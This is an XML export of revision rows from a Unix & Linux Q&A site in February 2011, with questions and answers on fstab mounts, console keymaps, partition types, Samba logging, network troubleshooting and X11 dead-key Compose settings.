  <row Id="17939" PostHistoryTypeId="5" PostId="7674" RevisionGUID="a4527c8f-649c-45a1-8dd7-8c940b0f4c6e" CreationDate="2011-02-19T16:03:40.530" UserId="885" Comment="added fstab entries for the new installation" Text="Having multiple Linux installations on the same disk is not a problem. The installer should get everything right, though this depends on your distribution (which you don't specify). With “automated” distributions such as Ubuntu, you may just need to answer one or two questions; with “hands-on” distributions such as Arch, you may need to configure a couple of things manually.&#xD;&#xA;&#xD;&#xA;There's no risk of losing any data as long as you're careful not to tell the installer to overwrite your existing installation (double-check all partition numbers). I recommend deleting `/dev/sda7` now, that way you can just tell the installer to install in the free space.&#xD;&#xA;&#xD;&#xA;Only one of the distributions will manage the bootloader. It can be either the old one of the new one. Older BIOSes require the bootloader to be near the beginning of the drive; I don't know the exact timeline but if your 500GB drive was sold with your computer.&#xD;&#xA;&#xD;&#xA;If the installer doesn't add mount points for your existing system, add them yourself to `/etc/fstab`. You'll probably want to do that on the existing installation anyway. An entry in `/etc/fstab` looks like this:&#xD;&#xA;&#xD;&#xA;    /dev/sda7  /media/linux2  auto  defaults&#xD;&#xA;&#xD;&#xA;Replace `defaults` by `ro` if you want to mount read-only, or by `noauto` if you don't want the filesystem to be mounted at boot time but want to be able to mount it with the command `mount /media/linux2`. If you want both options, it's a comma-separated list: `noauto,ro`. If your installer doesn't add `fstab` entries to the new installation, they should be something like&#xD;&#xA;&#xD;&#xA;    /dev/sda3  /media/linux1  auto defaults&#xD;&#xA;    /dev/sda5  /media/linux1/home  auto  defaults&#xD;&#xA;&#xD;&#xA;The two entries should be in this order. You'll need to create the directories `/media/linux1` and `/media/linux2`. You only need to create `/media/linux1/home` if you want to be able to mount `/dev/sda5` even when `/dev/sda3` is not mounted.&#xD;&#xA;" />
  <row Id="17940" PostHistoryTypeId="5" PostId="7675" RevisionGUID="835d60f8-7339-4846-9640-f2d861937a4f" CreationDate="2011-02-19T16:14:12.657" UserId="250" Comment="a pipe was missing" Text="When I try with the following script things are normal:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    sed -e 's/\x1B\[[[:digit:]]\+m//g' | \&#xD;&#xA;    vim \&#xD;&#xA;        -c 'let no_plugin_maps = 1' \&#xD;&#xA;        -c 'set nolist nomod ft=man' \&#xD;&#xA;        -c 'let g:showmarks_enable=0' \&#xD;&#xA;        -c 'runtime! macros/less.vim' -&#xD;&#xA;&#xD;&#xA;I'm not sure what role `col` plays in the sequence, but it is certainly messing up the spaces. Until somebody gives a better solution, this will be my fix.&#xD;&#xA;&#xD;&#xA;**Edit**: so `col` was the problem because it &quot;replaces white-space characters with tabs where possible&quot;. To fix this tell `col` to use spaces instead of tabs with the `-x` option. The final config is as follow (with credit to Gilles).&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    sed -e 's/\x1B\[[[:digit:]]\+m//g' | col -bx | \&#xD;&#xA;    vim \&#xD;&#xA;        -c 'let no_plugin_maps = 1' \&#xD;&#xA;        -c 'set nolist nomod ft=man' \&#xD;&#xA;        -c 'let g:showmarks_enable=0' \&#xD;&#xA;        -c 'runtime! macros/less.vim' -&#xD;&#xA;" />
  <row Id="17941" PostHistoryTypeId="5" PostId="7674" RevisionGUID="7a432b8d-5455-450e-aca1-5a64936e49be" CreationDate="2011-02-19T16:18:16.340" UserId="885" Comment="discuss sharing of home and swap" Text="Having multiple Linux installations on the same disk is not a problem. The installer should get everything right, though this depends on your distribution (which you don't specify). With “automated” distributions such as Ubuntu, you may just need to answer one or two questions; with “hands-on” distributions such as Arch, you may need to configure a couple of things manually.&#xD;&#xA;&#xD;&#xA;There's no risk of losing any data as long as you're careful not to tell the installer to overwrite your existing installation (double-check all partition numbers). I recommend deleting `/dev/sda7` now, that way you can just tell the installer to install in the free space.&#xD;&#xA;&#xD;&#xA;Only one of the distributions will manage the bootloader. It can be either the old one of the new one. Older BIOSes require the bootloader to be near the beginning of the drive; I don't know the exact timeline but if your 500GB drive was sold with your computer.&#xD;&#xA;&#xD;&#xA;[You can share swap space between installations.](http://unix.stackexchange.com/q/5656/885) This should happen automatically if you tell the installer to use `/dev/sda6` as swap space.&#xD;&#xA;&#xD;&#xA;You can share home partitions between installations. Here I'm less confident that the installer can do the right thing. Make sure it doesn't reformat `/dev/sda5` (if it does, it will ask for confirmation before). If you can't get the installer to do what you want, add an entry for `/home` manually to `/etc/fstab` on the new installation. Copy the entry from the existing installation, it should look like&#xD;&#xA;&#xD;&#xA;    /dev/sda5  /home  ext4  defaults  0 2&#xD;&#xA;&#xD;&#xA;If the installer doesn't add mount points for your existing system, add them yourself to `/etc/fstab`. You'll probably want to do that on the existing installation anyway. An entry in `/etc/fstab` looks like this:&#xD;&#xA;&#xD;&#xA;    /dev/sda7  /media/linux2  auto  defaults&#xD;&#xA;&#xD;&#xA;Replace `defaults` by `ro` if you want to mount read-only, or by `noauto` if you don't want the filesystem to be mounted at boot time but want to be able to mount it with the command `mount /media/linux2`. If you want both options, it's a comma-separated list: `noauto,ro`. If your installer doesn't add `fstab` entries to the new installation, they should be something like&#xD;&#xA;&#xD;&#xA;    /dev/sda3  /media/linux1  auto defaults&#xD;&#xA;    /dev/sda5  /media/linux1/home  auto  defaults&#xD;&#xA;&#xD;&#xA;The two entries should be in this order. You'll need to create the directories `/media/linux1` and `/media/linux2`. You only need to create `/media/linux1/home` if you want to be able to mount `/dev/sda5` even when `/dev/sda3` is not mounted.&#xD;&#xA;" />
  <row Id="17942" PostHistoryTypeId="2" PostId="7676" RevisionGUID="d8b77251-eeec-4104-afdd-c54cd45ce086" CreationDate="2011-02-19T16:33:26.183" UserId="4648" Text="You'll have to edit your console keymap. On my console, I have mapped Escape to Caps Lock and Caps Lock to Escape. Here's how it works.&#xD;&#xA;&#xD;&#xA; 1. First you need to find your keymap. I use the standard US layout. On my system, it is located under `/usr/share/keymaps/i386/qwerty/us.map.gz`.&#xD;&#xA; 2. Make a copy of the file under a new name, for example `us-nocaps.map.gz`.&#xD;&#xA; 3. Unpack the file and open it in a text editor: `gunzip us-nocaps.map.gz &amp;&amp; vim us-nocaps.map`&#xD;&#xA; 4. Change the mappings in the file to your liking, for example I had `keycode 58 = Caps_Lock` which I changed to `keycode 58 = Escape`.&#xD;&#xA; 5. Gzip the file and load it: `gzip us-nocaps.map &amp;&amp; loadkeys us-nocaps`.&#xD;&#xA;&#xD;&#xA;One more thing: You'll probably have to configure your distribution somehow to make sure the new keymaps always gets loaded on boot, otherwise you'll have to load your keymap manually with `loadkeys` all time. How you do that depends on what distribution you're using." />
  <row Id="17943" PostHistoryTypeId="2" PostId="7677" RevisionGUID="c11bb79e-febc-445c-8402-51304e308d83" CreationDate="2011-02-19T16:36:42.597" UserId="4868" Text="hi ,&#xD;&#xA;&#xD;&#xA;May i know What is the difference between &quot;extended&quot; partition and  &quot;logical&quot; partition in my hard disk , and its need? I am using linux &#xD;&#xA;&#xD;&#xA;" />
  <row Id="17944" PostHistoryTypeId="1" PostId="7677" RevisionGUID="c11bb79e-febc-445c-8402-51304e308d83" CreationDate="2011-02-19T16:36:42.597" UserId="4868" Text="What is the difference between &quot;extended&quot; partition and  &quot;logical&quot; partition" />
  <row Id="17945" PostHistoryTypeId="3" PostId="7677" RevisionGUID="c11bb79e-febc-445c-8402-51304e308d83" CreationDate="2011-02-19T16:36:42.597" UserId="4868" Text="éhardödiskà" />
  <row Id="17946" PostHistoryTypeId="2" PostId="7678" RevisionGUID="454d5a6b-a8c4-4d91-a0a8-478e68f99879" CreationDate="2011-02-19T16:53:22.227" UserId="1270" Text="Hi I was wondering if there is a AV Grabber that supports Linux. I have IC-348 model I.C.U (international camera unit) made in P.R.C camera that uses a Sony CCD 420TVL. I want to grab the video output and use it in a program that I am writing. The thing is that I couldn't find a good CCD Cam to USB hardware that supports Linux. Is there? Can you please give me a model name? Or can you tell me another way to get CCD Cam image in to a Linux laptop? (And can the moderator add the following tags &quot;ccd cam av grabber&quot; since my whole question is about these.)" />
  <row Id="17947" PostHistoryTypeId="1" PostId="7678" RevisionGUID="454d5a6b-a8c4-4d91-a0a8-478e68f99879" CreationDate="2011-02-19T16:53:22.227" UserId="1270" Text="CCD cam to USB - AV grabber for linux" />
  <row Id="17948" PostHistoryTypeId="3" PostId="7678" RevisionGUID="454d5a6b-a8c4-4d91-a0a8-478e68f99879" CreationDate="2011-02-19T16:53:22.227" UserId="1270" Text="élinuxà" />
  <row Id="17949" PostHistoryTypeId="2" PostId="7679" RevisionGUID="9e1389e2-1b34-4bf7-9706-2e1fa380468e" CreationDate="2011-02-19T17:10:02.707" UserId="4648" Text="Historically, hard drives have only been able to contain at most four partitions because of the originally defined format of the partition table. This is not specific to operating systems. You simply can't create more than four primary partitions [1].&#xD;&#xA;&#xD;&#xA;In order to circumvent this limit and still remain compatible with older systems, you can create an extended partition however. An extended partition can contain multiple logical partitions within it. This allows you to create more than four partitions in total, without having to change the format of the partition table.&#xD;&#xA;&#xD;&#xA;If you're interested in the details, you can look at the Wikipedia entries on disk partitioning or the master boot record.&#xD;&#xA;&#xD;&#xA;[1] At least on computers with BIOS firmware, I don't know if the UEFI standard (a BIOS-replacement) lifts this limitation." />
  <row Id="17950" PostHistoryTypeId="25" PostId="7672" RevisionGUID="d7f6431f-0a2f-4cc0-98f8-e201fdace2b4" CreationDate="2011-02-19T17:23:14.233" Comment="http://twitter.com/#!/StackUnix/status/39012141231112192" />
  <row Id="17951" PostHistoryTypeId="2" PostId="7680" RevisionGUID="60db66f7-cf16-438f-ad48-9d097a6d5fe8" CreationDate="2011-02-19T17:59:34.023" UserId="434" Text="When dealing with potentially unsanitized inputs, I like to see the entire job 'spelled out' line by line for visual inspection before I run it (especially when it's something destructive like cleaning people's mailbox's).&#xD;&#xA;&#xD;&#xA;So what I do is generate a list of parameters (ie. usernames), feed it to a file in one-record-per-line fashion, like this:  &#xD;&#xA;johndoe  &#xD;&#xA;jamessmith  &#xD;&#xA;janebrown  &#xD;&#xA;&#xD;&#xA;Then I open the list in VIM, and mangle it with search and replace expressions until I get a list of full commands that need to get executed, like this:  &#xD;&#xA;/bin/rm -fr /home/johndoe  &#xD;&#xA;/bin/rm -fr /home/jamessmith &#xD;&#xA;&#xD;&#xA;This way if your regex is incomplete, you will see in what command will have potential problems (ie. &quot;/bin/rm -fr johnnyo connor&quot;).  This way you can undo your regex, and try it again with a more reliable version of it.  Name mangling is notorious for this, because it's hard to take care of all the edge cases like Van Gogh, O'Connors, St. Clair, Smith-Wesson.&#xD;&#xA;&#xD;&#xA;Having 'set hlsearch' is useful for doing this in VIM, as it will highlight all the matches, so you can easily spot if it doesn't match, or matches in an unintended way.&#xD;&#xA;&#xD;&#xA;Once your regex is perfect and it catches all the cases you can test for/think of, then I usually convert it to a sed expression so it can be fully automated for another run.&#xD;&#xA;&#xD;&#xA;For cases where the number of lines of input prevents you from doing a visual inspection, I highly recommend echoing the command to the screen (or better yet, a log) before it executes, so if it errors out, you know exactly which command caused it to fail.  Then you can go back to your original regex and adjust once more." />
  <row Id="17952" PostHistoryTypeId="2" PostId="7681" RevisionGUID="9c1fa97a-ca4a-47f9-bc42-84d9451472fe" CreationDate="2011-02-19T19:08:43.770" UserId="3737" Text="How can I log samba events?&#xD;&#xA;&#xD;&#xA;I have samba-shared directories and I want to know what exactly someone have download from it.&#xD;&#xA;Actually, I can watch `iftop` to figured out WHO have downloaded, but not WHAT.&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="17953" PostHistoryTypeId="1" PostId="7681" RevisionGUID="9c1fa97a-ca4a-47f9-bc42-84d9451472fe" CreationDate="2011-02-19T19:08:43.770" UserId="3737" Text="How can I log samba events?" />
  <row Id="17954" PostHistoryTypeId="3" PostId="7681" RevisionGUID="9c1fa97a-ca4a-47f9-bc42-84d9451472fe" CreationDate="2011-02-19T19:08:43.770" UserId="3737" Text="ésambaà" />
  <row Id="17955" PostHistoryTypeId="2" PostId="7682" RevisionGUID="8cc68105-b3c0-4d26-a868-3baf117ef60e" CreationDate="2011-02-19T19:44:49.730" UserId="1535" Text="With some help from Cedric, I've discovered that Ubuntu hasn't installed the keymaps where `$ man loadkeys` says they are supposed to be (`/usr/share/keymaps`).  This is a brand-new install, so maybe I just need to install a package in order to get keymaps other than the one I selected during installation.&#xD;&#xA;&#xD;&#xA;-   In lieu of pursuing that angle, and in an effort to make the solution a bit more robust and convenient, I'm doing this:&#xD;&#xA;&#xD;&#xA;        $ sudo dumpkeys | sed 's/CtrlL_Lock/Escape/' | sudo loadkeys&#xD;&#xA;&#xD;&#xA;Although I'm a bit confused as to why Cedric's system uses `Caps_Lock` for caps lock and mine uses `CtrlL_Lock`, it is working regardless." />
  <row Id="17956" PostHistoryTypeId="5" PostId="7670" RevisionGUID="1512e077-e19e-4132-8937-9cb3e4268999" CreationDate="2011-02-19T19:49:38.430" UserId="1535" Comment="clarified goal of example script" Text="When running X I use a .xmodmaprc to remap certain keys thusly:&#xD;&#xA;&#xD;&#xA;    ! Make it so that both Caps Lock and Escape do Escape&#xD;&#xA;    clear Lock&#xD;&#xA;    keysym Caps_Lock = Escape&#xD;&#xA;    ! Remap the menu key as Compose&#xD;&#xA;    keysym Menu = Multi_key&#xD;&#xA;&#xD;&#xA;How can I accomplish the same things on the console?&#xD;&#xA;&#xD;&#xA;##update&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In addition to the partial solution given in my answer, I've learned that the console maps CTRL-`.` to Compose.  So I may be able to get used to that.  Setting up the Menu key as Compose is not so easily done, as there are a ton of nul-assigned keycodes and no obvious contender for an alternate name for Menu.&#xD;&#xA;&#xD;&#xA;I've also realized that the compose bindings themselves are much more limited than what I'm used to under X, and that most of the special characters I use frequently are not there.  Perhaps there is a utility that will translate X-syntax compose bindings into something that `loadkeys` can read?" />
  <row Id="17957" PostHistoryTypeId="5" PostId="7682" RevisionGUID="de8cb89e-61be-46ad-8f22-8fc185354a82" CreationDate="2011-02-19T19:51:20.893" UserId="1535" Comment="remove vestigial bullet" Text="With some help from Cedric, I've discovered that Ubuntu hasn't installed the keymaps where `$ man loadkeys` says they are supposed to be (`/usr/share/keymaps`).  This is a brand-new install, so maybe I just need to install a package in order to get keymaps other than the one I selected during installation.&#xD;&#xA;&#xD;&#xA;In lieu of pursuing that angle, and in an effort to make the solution a bit more robust and convenient, I'm doing this:&#xD;&#xA;&#xD;&#xA;        $ sudo dumpkeys | sed 's/CtrlL_Lock/Escape/' | sudo loadkeys&#xD;&#xA;&#xD;&#xA;Although I'm a bit confused as to why Cedric's system uses `Caps_Lock` for caps lock and mine uses `CtrlL_Lock`, it is working regardless." />
  <row Id="17958" PostHistoryTypeId="2" PostId="7683" RevisionGUID="5a2e3a18-40a8-4d40-a470-779bca6097cf" CreationDate="2011-02-19T20:02:54.030" UserId="3635" Text="According to [Chapter 9 of Using Samba - Troubleshooting Samba][1]:&#xD;&#xA;&#xD;&#xA;&gt;To turn logging on and off, set the appropriate level in the [global] section of smb.conf. &#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;&gt;By default, logs are placed in samba_directory /var/smbd.log and samba_directory /var/nmbd.log, where samba_directory is the location where Samba was installed (typically, /usr/local/samba). &#xD;&#xA;&#xD;&#xA;You can increase the logging level to show more detailed information. So just keep increasing the level until you have information that is detailed enough for your needs. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://oreilly.com/catalog/samba/chapter/book/ch09_01.html" />
  <row Id="17959" PostHistoryTypeId="25" PostId="7681" RevisionGUID="1ffce011-fa37-481f-8d2e-6645d44403c3" CreationDate="2011-02-19T20:23:14.690" Comment="http://twitter.com/#!/StackUnix/status/39057442725822464" />
  <row Id="17960" PostHistoryTypeId="2" PostId="7684" RevisionGUID="1ac54019-289b-4a1c-8d38-844567e94517" CreationDate="2011-02-19T20:31:07.583" UserId="4196" Text="I posted another comment yesterday, but it is not here now!&#xD;&#xA;&#xD;&#xA;Anyway, it seems that a proxy is probably the way to go, despite your reservations.&#xD;&#xA;&#xD;&#xA;A proxy can run on your machine, and therefore needn't be external.&#xD;&#xA;&#xD;&#xA;Changing /etc/hosts to fool your browser into connecting to site2 instead of site1 just affects name resolution and is easy.  Getting your machine to fetch page2 instead of page1 is much harder.&#xD;&#xA;&#xD;&#xA;You could probably do it this way if you do not want to configure the clients to use a proxy:&#xD;&#xA;&#xD;&#xA;* Add website.com to /etc/hosts pointing at 127.0.0.1&#xD;&#xA;* Set up a reverse proxy on your machine and configure it to point to the real website.com.&#xD;&#xA;* Configure the proxy to fetch page2 when page1 is requested." />
  <row Id="17961" PostHistoryTypeId="5" PostId="7680" RevisionGUID="7b2a486a-e6d8-43eb-bce5-9a0c6ff8af61" CreationDate="2011-02-19T22:12:12.257" UserId="1207" Comment="added 28 characters in body" Text="When dealing with potentially unsanitized inputs, I like to see the entire job 'spelled out' line by line for visual inspection before I run it (especially when it's something destructive like cleaning people's mailbox's).&#xD;&#xA;&#xD;&#xA;So what I do is generate a list of parameters (ie. usernames), feed it to a file in one-record-per-line fashion, like this:  &#xD;&#xA;&#xD;&#xA;    johndoe  &#xD;&#xA;    jamessmith  &#xD;&#xA;    janebrown  &#xD;&#xA;&#xD;&#xA;Then I open the list in `vim`, and mangle it with search and replace expressions until I get a list of full commands that need to get executed, like this:  &#xD;&#xA;&#xD;&#xA;    /bin/rm -fr /home/johndoe  &#xD;&#xA;    /bin/rm -fr /home/jamessmith &#xD;&#xA;&#xD;&#xA;This way if your regex is incomplete, you will see in what command will have potential problems (ie. `/bin/rm -fr johnnyo connor`).  This way you can undo your regex, and try it again with a more reliable version of it.  Name mangling is notorious for this, because it's hard to take care of all the edge cases like Van Gogh, O'Connors, St. Clair, Smith-Wesson.&#xD;&#xA;&#xD;&#xA;Having `set hlsearch` is useful for doing this in `vim`, as it will highlight all the matches, so you can easily spot if it doesn't match, or matches in an unintended way.&#xD;&#xA;&#xD;&#xA;Once your regex is perfect and it catches all the cases you can test for/think of, then I usually convert it to a sed expression so it can be fully automated for another run.&#xD;&#xA;&#xD;&#xA;For cases where the number of lines of input prevents you from doing a visual inspection, I highly recommend echoing the command to the screen (or better yet, a log) before it executes, so if it errors out, you know exactly which command caused it to fail.  Then you can go back to your original regex and adjust once more." />
  <row Id="17962" PostHistoryTypeId="2" PostId="7685" RevisionGUID="6c6c21f3-8781-4c05-b118-973d662d0086" CreationDate="2011-02-19T22:54:42.957" UserId="4908" Text="I've got one server (CentOS 5), out of a half dozen, that the network flakes out on. &#xD;&#xA;&#xD;&#xA;When it's 'dead', I can still ping other servers by IP, but if I try to make any kind of connection also using an IP (ssh, telnet on 53 to test DNS) it just hangs and does nothing.  Running /etc/init.d/network restart makes it work again -- for a short amount of time.&#xD;&#xA;&#xD;&#xA;I've compared the config against the other severs a dozen times and don't see anything different aside from the server IP.&#xD;&#xA;&#xD;&#xA;Prior to today, this network card &amp; cable have been running flawlessly.  I changed the way the network is laid out this morning, and this one server is giving me grief while the others all fell right in to place.&#xD;&#xA;&#xD;&#xA;The pings are 100% clean, there's no errors in ifconfig. I don't see any errors in any of the main logs, and I'm not really sure how else to try to diagnose the problem.&#xD;&#xA;&#xD;&#xA;If anyone has an insight, or guidance on how to troubleshoot further it would be greatly appreciated." />
  <row Id="17963" PostHistoryTypeId="1" PostId="7685" RevisionGUID="6c6c21f3-8781-4c05-b118-973d662d0086" CreationDate="2011-02-19T22:54:42.957" UserId="4908" Text="can ping, can't connect by IP - resetting the network fixes it briefly, then it breaks again" />
  <row Id="17964" PostHistoryTypeId="3" PostId="7685" RevisionGUID="6c6c21f3-8781-4c05-b118-973d662d0086" CreationDate="2011-02-19T22:54:42.957" UserId="4908" Text="énetworkingà" />
  <row Id="17965" PostHistoryTypeId="25" PostId="7677" RevisionGUID="7362e627-19f7-4412-a3b2-8db0481236dc" CreationDate="2011-02-19T23:23:14.580" Comment="http://twitter.com/#!/StackUnix/status/39102740260978688" />
  <row Id="17966" PostHistoryTypeId="2" PostId="7686" RevisionGUID="a75caf62-3d47-4aea-8fdc-a06b63a64402" CreationDate="2011-02-19T23:28:00.363" UserId="3309" Text="Assuming this is a physical host and not a virtual machine...&#xD;&#xA;&#xD;&#xA;Check your switch port packet counts. When a packet is sent to the host the counter should increment. At the same time use tcpdump on the host to see if it's receiving the packet at all.&#xD;&#xA;&#xD;&#xA;Look for IP conflicts and arp errors.&#xD;&#xA;&#xD;&#xA;Try moving the host to another switch port. Try using a different physical interface on the host. Try a different cable. Check for link negotiation errors (especially immediately when failure occurs)." />
  <row Id="17967" PostHistoryTypeId="2" PostId="7687" RevisionGUID="84531347-335c-4135-8347-19c26880a399" CreationDate="2011-02-19T23:32:14.363" UserId="3169" Text="The files that define the keyboard layout depend on your locale and character set.&#xD;&#xA;&#xD;&#xA;If you have a look at:&#xD;&#xA;&#xD;&#xA;  * /usr/share/X11/xkb/symbols&#xD;&#xA;  * /usr/share/X11/locale/en_US.UTF-8/Compose&#xD;&#xA;  * /usr/share/X11/locale/iso8859-1/Compose&#xD;&#xA;&#xD;&#xA;e.g. using these `grep` commands:&#xD;&#xA;&#xD;&#xA;    $ grep '&lt;dead_acute&gt; &lt;c&gt;' /usr/share/X11/locale/en_US.UTF-8/Compose &#xD;&#xA;    &lt;dead_acute&gt; &lt;c&gt;                 	: &quot;ć&quot;   U0107 # LATIN SMALL LETTER C WITH ACUTE&#xD;&#xA;&#xD;&#xA;    $ grep '&lt;dead_acute&gt; &lt;c&gt;' /usr/share/X11/locale/iso8859-1/Compose&#xD;&#xA;    &lt;dead_acute&gt; &lt;c&gt;			: &quot;\347&quot;	ccedilla&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You will see that:&#xD;&#xA;&#xD;&#xA;  * Latin1 encoding: &lt;kbd&gt;'&lt;/kbd&gt;, &lt;kbd&gt;c&lt;/kbd&gt; = `ç`&#xD;&#xA;  * UTF-8 encoding: &lt;kbd&gt;'&lt;/kbd&gt;, &lt;kbd&gt;c&lt;/kbd&gt; = `ć`&#xD;&#xA;&#xD;&#xA;The [git logs][1] (([en_US.UTF-8][2]) ([iso8859-1][3])) show it has been this way since at least 2004.&#xD;&#xA;&#xD;&#xA;  [1]: git://anongit.freedesktop.org/git/xorg/lib/libX11&#xD;&#xA;  [2]: http://cgit.freedesktop.org/xorg/lib/libX11/tree/nls/en_US.UTF-8/Compose.pre?id=c6349f43193b74a3c09945f3093a871b0157ba47&#xD;&#xA;  [3]: http://cgit.freedesktop.org/xorg/lib/libX11/tree/nls/iso8859-1/Compose.pre?id=c6349f43193b74a3c09945f3093a871b0157ba47&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;..." />
  <row Id="17968" PostHistoryTypeId="5" PostId="7687" RevisionGUID="8d53866d-6e5e-473c-bd50-c101e964ed7d" CreationDate="2011-02-19T23:39:25.207" UserId="3169" Comment="added 782 characters in body" Text="The files that define the keyboard layout depend on your locale and character set are:&#xD;&#xA;&#xD;&#xA;  * /usr/share/X11/xkb/symbols/us&#xD;&#xA;  * /usr/share/X11/locale/en_US.UTF-8/Compose&#xD;&#xA;  * /usr/share/X11/locale/iso8859-1/Compose&#xD;&#xA;&#xD;&#xA;If you look in them using `grep`, you can see there is a difference:&#xD;&#xA;&#xD;&#xA;    $ grep '&lt;dead_acute&gt; &lt;c&gt;' /usr/share/X11/locale/en_US.UTF-8/Compose &#xD;&#xA;    &lt;dead_acute&gt; &lt;c&gt;                 	: &quot;ć&quot;   U0107 # LATIN SMALL LETTER C WITH ACUTE&#xD;&#xA;&#xD;&#xA;    $ grep '&lt;dead_acute&gt; &lt;c&gt;' /usr/share/X11/locale/iso8859-1/Compose&#xD;&#xA;    &lt;dead_acute&gt; &lt;c&gt;			: &quot;\347&quot;	ccedilla&#xD;&#xA;&#xD;&#xA;Namely:&#xD;&#xA;&#xD;&#xA;  * Latin1 encoding: &lt;kbd&gt;'&lt;/kbd&gt;, &lt;kbd&gt;c&lt;/kbd&gt; = `ç`&#xD;&#xA;  * UTF-8 encoding: &lt;kbd&gt;'&lt;/kbd&gt;, &lt;kbd&gt;c&lt;/kbd&gt; = `ć`&#xD;&#xA;&#xD;&#xA;The [git logs][1] (([en_US.UTF-8][2]) ([iso8859-1][3])) show it has been this way since at least 2004.&#xD;&#xA;&#xD;&#xA;  [1]: git://anongit.freedesktop.org/git/xorg/lib/libX11&#xD;&#xA;  [2]: http://cgit.freedesktop.org/xorg/lib/libX11/tree/nls/en_US.UTF-8/Compose.pre?id=c6349f43193b74a3c09945f3093a871b0157ba47&#xD;&#xA;  [3]: http://cgit.freedesktop.org/xorg/lib/libX11/tree/nls/iso8859-1/Compose.pre?id=c6349f43193b74a3c09945f3093a871b0157ba47&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The US Alternative International layout adds some extra AltGr dead keys:&#xD;&#xA;&#xD;&#xA;  * dead_macron: on AltGr-minus&#xD;&#xA;  * dead_breve: on AltGr-parenleft&#xD;&#xA;  * dead_abovedot: on AltGr-period&#xD;&#xA;  * dead_abovering: on AltGr-0&#xD;&#xA;  * dead_doubleacute: on AltGr-equal (as quotedbl is already used)&#xD;&#xA;  * dead_caron: on AltGr-less (AltGr-shift-comma)&#xD;&#xA;  * dead_cedilla: on AltGr-comma&#xD;&#xA;  * dead_ogonek: on AltGr-semicolon&#xD;&#xA;  * dead_belowdot: on AltGr-underscore (AltGr-shift-minus)&#xD;&#xA;  * dead_hook: on AltGr-question&#xD;&#xA;  * dead_horn: on AltGr-plus (AltGr-shift-equal)&#xD;&#xA;  * dead_diaeresis: on AltGr-colon (Alt-shift-semicolon)&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;  * US International: &lt;kbd&gt;AltGr&lt;/kbd&gt;+&lt;kbd&gt;-&lt;/kbd&gt; = `¥`&#xD;&#xA;  * US Alternative International: &lt;kbd&gt;AltGr&lt;/kbd&gt;+&lt;kbd&gt;-&lt;/kbd&gt;, &lt;kbd&gt;a&lt;/kbd&gt; = `ā`&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;..." />
  <row Id="17969" PostHistoryTypeId="5" PostId="7687" RevisionGUID="76b2b9d9-3def-4c1f-b0ec-efda6d7d927d" CreationDate="2011-02-19T23:45:06.323" UserId="3169" Comment="added 139 characters in body" Text="The dead key settings depend on your locale and character set.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;  * `en_US.UTF-8` is defined in `/usr/share/X11/locale/en_US.UTF-8/Compose`&#xD;&#xA;  * `ISO 8859-1` is defined in `/usr/share/X11/locale/iso8859-1/Compose` &#xD;&#xA;&#xD;&#xA;If you look in them using `grep`, you can see there is a difference:&#xD;&#xA;&#xD;&#xA;    $ grep '&lt;dead_acute&gt; &lt;c&gt;' /usr/share/X11/locale/en_US.UTF-8/Compose &#xD;&#xA;    &lt;dead_acute&gt; &lt;c&gt;                 	: &quot;ć&quot;   U0107 # LATIN SMALL LETTER C WITH ACUTE&#xD;&#xA;&#xD;&#xA;    $ grep '&lt;dead_acute&gt; &lt;c&gt;' /usr/share/X11/locale/iso8859-1/Compose&#xD;&#xA;    &lt;dead_acute&gt; &lt;c&gt;			: &quot;\347&quot;	ccedilla&#xD;&#xA;&#xD;&#xA;Namely:&#xD;&#xA;&#xD;&#xA;  * Latin1 encoding: &lt;kbd&gt;'&lt;/kbd&gt;, &lt;kbd&gt;c&lt;/kbd&gt; = `ç`&#xD;&#xA;  * UTF-8 encoding: &lt;kbd&gt;'&lt;/kbd&gt;, &lt;kbd&gt;c&lt;/kbd&gt; = `ć`&#xD;&#xA;&#xD;&#xA;The [git logs][1] (([en_US.UTF-8][2]) ([iso8859-1][3])) show it has been this way since at least 2004.&#xD;&#xA;&#xD;&#xA;  [1]: git://anongit.freedesktop.org/git/xorg/lib/libX11&#xD;&#xA;  [2]: http://cgit.freedesktop.org/xorg/lib/libX11/tree/nls/en_US.UTF-8/Compose.pre?id=c6349f43193b74a3c09945f3093a871b0157ba47&#xD;&#xA;  [3]: http://cgit.freedesktop.org/xorg/lib/libX11/tree/nls/iso8859-1/Compose.pre?id=c6349f43193b74a3c09945f3093a871b0157ba47&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The difference between US International and US Alternative International is defined in `/usr/share/X11/xkb/symbols/us`.&#xD;&#xA;&#xD;&#xA;Namely, the US Alternative International layout adds these extra AltGr dead keys:&#xD;&#xA;&#xD;&#xA;  * dead_macron: on AltGr-minus&#xD;&#xA;  * dead_breve: on AltGr-parenleft&#xD;&#xA;  * dead_abovedot: on AltGr-period&#xD;&#xA;  * dead_abovering: on AltGr-0&#xD;&#xA;  * dead_doubleacute: on AltGr-equal (as quotedbl is already used)&#xD;&#xA;  * dead_caron: on AltGr-less (AltGr-shift-comma)&#xD;&#xA;  * dead_cedilla: on AltGr-comma&#xD;&#xA;  * dead_ogonek: on AltGr-semicolon&#xD;&#xA;  * dead_belowdot: on AltGr-underscore (AltGr-shift-minus)&#xD;&#xA;  * dead_hook: on AltGr-question&#xD;&#xA;  * dead_horn: on AltGr-plus (AltGr-shift-equal)&#xD;&#xA;  * dead_diaeresis: on AltGr-colon (Alt-shift-semicolon)&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;  * US International: &lt;kbd&gt;AltGr&lt;/kbd&gt;+&lt;kbd&gt;-&lt;/kbd&gt; = `¥`&#xD;&#xA;  * US Alternative International: &lt;kbd&gt;AltGr&lt;/kbd&gt;+&lt;kbd&gt;-&lt;/kbd&gt;, &lt;kbd&gt;a&lt;/kbd&gt; = `ā`&#xD;&#xA;" />
